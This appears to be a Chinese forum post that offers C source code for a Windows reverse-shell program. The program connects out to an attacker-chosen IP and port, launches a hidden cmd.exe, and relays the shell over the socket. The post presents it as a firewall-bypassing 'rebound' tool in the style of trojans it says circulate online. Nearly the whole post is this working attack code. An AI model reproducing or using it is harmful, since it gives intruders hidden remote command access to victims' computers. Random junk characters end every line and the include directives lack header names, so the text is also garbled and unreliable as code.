这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;6``t+]q
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/* ============================== #0T/^ #
Rebound port in Windows NT FHU6o910
By wind,2006/7 L~t<
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===============================*/ hZHM5J~
#include -_Z 4)"k
#include ;$&\:-6A#
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#pragma comment(lib,"wsock32.lib") F4G81^H
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void OutputShell(); In_"iEo,
SOCKET sClient; .\_RavW23
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; T4wk$R
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void main(int argc,char **argv) ':;k<(<-
{ tgG*k$8z
WSADATA stWsaData; m=l'9j"D
int nRet; M\4`S&
SOCKADDR_IN stSaiClient,stSaiServer; K [DpH&
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if(argc != 3) 2lsUCQI;
{ $4xSI"+M%
printf("Useage:\n\rRebound DestIP DestPort\n"); RVV`
return; Sj ~SG
} ="YGR:
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WSAStartup(MAKEWORD(2,2),&stWsaData); y8s!sO
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); exhU!p8
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stSaiClient.sin_family = AF_INET; :K^J bQ
stSaiClient.sin_port = htons(0); V2}\]x'1
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); VSY p
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0pMN@Cz6
{ [-$
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printf("Bind Socket Failed!\n"); DBHy%i
return; <r:AJ;
} B%;MGb o
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stSaiServer.sin_family = AF_INET; Zw9;g+9
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =|P
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); b`-|7<s
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @/<UhnI
{ *
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printf("Connect Error!"); >E+g.5
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return; W#<1504ip
} 7m-%
OutputShell(); RJ3oI+gI
} pc*)^S
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void OutputShell() hNN[dj R
{ /dYv@OU?
char szBuff[1024]; p@G7}'|eyA
SECURITY_ATTRIBUTES stSecurityAttributes; V,_m>$Mo
OSVERSIONINFO stOsversionInfo; )6)bI.BY
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; pjFO0h_Y
STARTUPINFO stStartupInfo; y,nmPX?]n
char *szShell; VQla.Y
PROCESS_INFORMATION stProcessInformation; aL;!BlU8v
unsigned long lBytesRead; mcez3gH
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 12n:)yQy
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); uAPVR
stSecurityAttributes.lpSecurityDescriptor = 0; :82h GU
stSecurityAttributes.bInheritHandle = TRUE; #; ?3kuq(
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *vaYI3{qN
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Kn~Rck|
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); bGWfMu=n
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hN'])[+V
stStartupInfo.wShowWindow = SW_HIDE; Tsg9,/vXM
stStartupInfo.hStdInput = hReadPipe; )SmnLvL
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; KRaL+A
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GetVersionEx(&stOsversionInfo); ~(d
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switch(stOsversionInfo.dwPlatformId) sE"s!s/
{ /IpCo
case 1: ;>?h/tS6
szShell = "command.com"; Ki;SONSV~|
break; 7s(tAbPdB
default: 92DM1~
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szShell = "cmd.exe"; p:4jY|q
break; h+[6i{
} G>V6{g2Q
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); X 0y$xC|<
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send(sClient,szMsg,77,0); sW[-qPK<
while(1) A"V
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{ >7>I1
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); AYbO~_a\N
if(lBytesRead) y"JR kJ
{ <>3)S`C`p
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); IO+]^nY`
send(sClient,szBuff,lBytesRead,0); qNEp3WY:
} "bo0O7InOV
else TQ4@|S:OF
{ {6'Xz
lBytesRead=recv(sClient,szBuff,1024,0); L|'^P3#7`
if(lBytesRead<=0) break; Z4] n<~o
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }g}Eh>U
} !a@)6or
} ,S-h~x
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return; 9"P|Csj
}